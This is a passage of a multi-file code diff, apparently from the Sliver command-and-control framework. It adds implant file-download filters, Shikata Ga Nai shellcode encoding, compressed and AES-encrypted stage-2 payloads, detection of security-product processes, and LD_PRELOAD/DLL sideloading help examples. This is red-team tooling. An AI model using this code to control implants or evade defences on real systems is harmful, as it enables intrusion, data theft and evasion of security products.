Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
})
ctrl <- true
<-ctrl
+82 -2
View File
@@ -24,7 +24,10 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -43,12 +46,14 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("remote-path")
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -72,6 +77,34 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
@@ -90,6 +123,12 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
@@ -114,11 +153,31 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
@@ -141,7 +200,28 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+22 -66
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
+28 -9
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -39,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
if ctx.Flags.String("name") != "" {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
}
@@ -639,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
+22 -3
View File
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -346,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
+24 -1
View File
@@ -19,9 +19,12 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
@@ -36,6 +39,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -75,7 +79,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
@@ -88,7 +92,26 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
+14 -4
View File
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
+6 -2
View File
@@ -176,10 +176,14 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
if loot.Name == loot.File.Name {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
if loot.Name == filename {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
}
}
table.Flush()
+6 -1
View File
@@ -166,8 +166,13 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
}
table.Flush()
+3
View File
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
if session == nil {
return
}
var options []bool
options = append(options, ctx.Flags.Bool("allow-all"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
Options: options,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+24 -14
View File
@@ -37,15 +37,21 @@ var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
}
)
@@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
case "darwin":
fallthrough
case "linux":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
fallthrough
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
{Name: "pid", Mode: table.AscNumeric},
{Name: "ppid", Mode: table.AscNumeric},
})
if !interactive {
overflow = true
@@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -210,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
@@ -217,6 +226,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
+4 -8
View File
@@ -20,10 +20,9 @@ package reconfig
import (
"context"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Option to change the agent name
name := ctx.Flags.String("name")
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Name must be in alphanumeric only\n")
return
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return
}
var beaconID string
+1
View File
@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
+15 -1
View File
@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
@@ -82,7 +84,6 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
defer tunnel.Close()
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -94,6 +95,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+81
View File
@@ -0,0 +1,81 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+1 -1
View File
@@ -358,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, "", con)
filesystem.PrintLs(ls, flags, con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
+1
View File
@@ -113,6 +113,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
+2
View File
@@ -236,6 +236,8 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
)
// Groups
+10
View File
@@ -20,6 +20,7 @@ package core
import (
"context"
"errors"
"io"
"log"
"net"
@@ -202,6 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
@@ -218,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
if err != nil {
return nil, err
}
// Close tunnel in case of error on the implant side
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: p.Session.ID,
})
return nil, errors.New(portfwdResp.Response.Err)
}
log.Printf("Portfwd response: %v", portfwdResp)
return tunnel, nil
+24
View File
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2019 Ege Balcı
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
BSD 3-Clause License
Copyright (c) 2018, b4rtik
+1 -1
View File
@@ -265,7 +265,7 @@ GEM
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.9)
tzinfo (1.2.10)
thread_safe (~> 0.1)
